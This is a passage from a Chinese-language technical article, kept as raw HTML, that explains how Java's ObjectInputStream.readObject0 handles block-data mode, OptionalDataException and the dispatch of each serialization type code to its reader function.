class="code-snippet__string">&#34;invalid type code: %02X&#34;</span>, tc));</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">            depth--;</span></code><code><span class="code-snippet_outer">            bin.setBlockDataMode(oldMode);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p cid="n38" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">来一点一点分析</span></p><p cid="n39" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readObject0</code><span md-inline="plain" style="box-sizing: border-box;">最开始的地方：</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">oldMode = bin.getBlockDataMode();</code><span md-inline="plain" style="box-sizing: border-box;">用于获取当前的读取模式，检查是否是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Data Block</code><span md-inline="plain" style="box-sizing: border-box;">模式读取，如果检测的结果是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Data Block</code><span md-inline="plain" style="box-sizing: border-box;">模式，则先计算字节流中剩余的字节数量(</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">currentBlockRemaining</code><span md-inline="plain" style="box-sizing: border-box;">)，剩余数量大于</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">0</code><span md-inline="plain" style="box-sizing: border-box;">或者</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">defaultDataEnd</code><span md-inline="plain" style="box-sizing: border-box;">的值为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">true</code><span md-inline="plain" style="box-sizing: border-box;">（</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">defaultDataEnd</code><span md-inline="plain" style="box-sizing: border-box;">表示一个数据段的结束，在这里也就是说没有数据了）则抛出</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">java.io.OptionalDataException</code><span md-inline="plain" style="box-sizing: border-box;">异常信息</span></span></span></span></span></span></span></span></span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><strong><span md-inline="plain" style="box-sizing: border-box;">思考：为什么在这两种情况下会抛出</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">java.io.OptionalDataException</code><span md-inline="plain" style="box-sizing: border-box;">异常？</span></span></strong><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">因为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readObecjt0</code><span md-inline="plain" style="box-sizing: border-box;">方法主要负责读取对象类型的数据，这些数据虽然本身是一个</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Data Block</code><span md-inline="plain" style="box-sizing: border-box;">，但是在字节流中它并没有使用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_BLOCKDATALONG</code><span md-inline="plain" style="box-sizing: border-box;">或</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_BLOCKDATA</code><span md-inline="plain" style="box-sizing: border-box;">标记去表示这段的字节流是可选数据块，所以这个地方一旦发现还存在这两种类型的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Data Block</code><span md-inline="plain" style="box-sizing: border-box;">数据段，则直接抛出</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">java.io.OptionalDataException</code><span md-inline="plain" style="box-sizing: border-box;">异常，举个例子就是没有事先声明你要来我家，结果来了我家里，我就认为你是抢劫，所以要报警（异常）。</span></span></span></span></span></span></span></span></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></span></span></span></span></span></span></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">经过这些判断后，会在if分支的最后关闭</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Data Block</code><span md-inline="plain" style="box-sizing: border-box;">模式；</span></span></span></span></span></span></span></span></span></span></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></span></span></span></span></span></span></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">开始读取字节流中的内容，如果读到了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_RESET</code><span md-inline="plain" style="box-sizing: border-box;">标记，那么调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">handleReset</code><span md-inline="plain" style="box-sizing: border-box;">方法去处理，如果没有那么继续向下读：</span></span></span></span></span></span></span></span></span></span></span></span></p><p style="text-align: left;"><span md-inline="plain" style="color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;caret-color: rgb(0, 0, 0);box-sizing: border-box;"><br/></span></p><p style="text-align: left;"><span md-inline="plain" style="color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;caret-color: rgb(0, 0, 0);box-sizing: border-box;">如果读到了</span><span md-inline="code" spellcheck="false" style="color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;caret-color: rgb(0, 0, 0);box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_NULL</code><span md-inline="plain" style="box-sizing: border-box;">——调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readNull</code><span md-inline="plain" style="box-sizing: border-box;">函数；</span></span></span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.23106060606060605" data-s="300,640" style="" data-type="jpeg" data-w="528" src="https://wechat2rss.xlab.app/img-proxy/?k=c8924d19&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVScl5v5o9K1lyjsAYXvQQgxNCZnw4g5DAy8E6d30gbmJLAvshxzt6F4KLw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;caret-color: rgb(0, 0, 0);box-sizing: border-box;">如果读到了</span><span md-inline="code" spellcheck="false" style="color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;caret-color: rgb(0, 0, 0);box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_REFERENCE</code><span md-inline="plain" style="box-sizing: border-box;">——调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readHandle</code><span md-inline="plain" style="box-sizing: border-box;">函数；</span></span></span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><ul class="list-paddingleft-2" cid="n48" mdtype="list" data-mark="-" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);list-style-type: square;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span></span></ul></ul><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.1897810218978102" data-s="300,640" style="" data-type="jpeg" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=58efb74d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclbgap4CLkbTDnicnL9SjQbticADoDq9771fCtreiaaOwmIRAk8wjj1tlfQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;caret-color: rgb(0, 0, 0);box-sizing: border-box;">如果读到了</span><span md-inline="code" spellcheck="false" style="color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;caret-color: rgb(0, 0, 0);box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_CLASS</code><span md-inline="plain" style="box-sizing: border-box;">——调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readClass</code><span md-inline="plain" style="box-sizing: border-box;">函数；</span></span></span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.18571428571428572" data-s="300,640" style="" data-type="jpeg" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=befe63e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclRVnG8TshlD8M93vyGrpfYXEJ9BTIEAsfu4QaRtxZ4kHquIO711Rz0w%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;caret-color: rgb(0, 0, 0);box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span></span><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">如果读到了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_STRING</code><span md-inline="plain" style="box-sizing: border-box;">或</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_LONGSTRING</code><span md-inline="plain" style="box-sizing: border-box;">——调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readString</code><span md-inline="plain" style="box-sizing: border-box;">函数</span></span></span></span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.18783068783068782" data-s="300,640" style="" data-type="jpeg" data-w="756" src="https://wechat2rss.xlab.app/img-proxy/?k=57852d46&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclmxTgJDoBHsiatE5rCfxnU1hQt21FPGJ5Iu7xzooZNRxYyEa9DK0I5Pg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">如果读到了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_ARRAY</code><span md-inline="plain" style="box-sizing: border-box;">——调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readArray</code><span md-inline="plain" style="box-sizing: border-box;">函数</span></span></span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.13043478260869565" data-s="300,640" style="" data-type="jpeg" data-w="736" src="https://wechat2rss.xlab.app/img-proxy/?k=b928a5ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVScldX2hghGG7vJibMMWicT4sib743eMJKriaXWW6icwAa5ofUUpKRicVpPDTmGQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">如果读到了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_ENUM</code><span md-inline="plain" style="box-sizing: border-box;">——调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readEnum</code><span md-inline="plain" style="box-sizing: border-box;">函数</span></span></span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.15258855585831063" data-s="300,640" style="" data-type="jpeg" data-w="734" src="https://wechat2rss.xlab.app/img-proxy/?k=e4f6e6b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclHvkyQRLGK8Vh5CzTibAFk68WHCmVdRkw5v1kUr9Bcxibk6Gq85YFzoicA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">如果读到了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_OBJECT</code><span md-inline="plain" style="box-sizing: border-box;">——调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readOrdinaryObject</code><span md-inline="plain" style="box-sizing: border-box;">函数</span></span></span></span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.116331096196868" data-s="300,640" data-w="894" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=c545df81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclSXv6wIkfiadR7iajxFQV057U6bGWLTKFCbMm0fruo2uwg43VI59Sic7Ew%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">如果读到了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_EXCEPTION</code><span md-inline="plain" style="box-sizing: border-box;">——调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readFatalExcception</code><span md-inline="plain" style="box-sizing: border-box;">函数，然后抛出异常</span></span></span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.15670103092783505" data-s="300,640" style="" data-type="jpeg" data-w="970" src="https://wechat2rss.xlab.app/img-proxy/?k=7c26eb43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclJmHicZMX7afYFSMQVNKfFJQibibZSvWsPWRibbzDMJpE59OCFfNuHuiaBcw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">如果读到了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_BLOCKDATA</code><span md-inline="plain" style="box-sizing: border-box;">或</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code 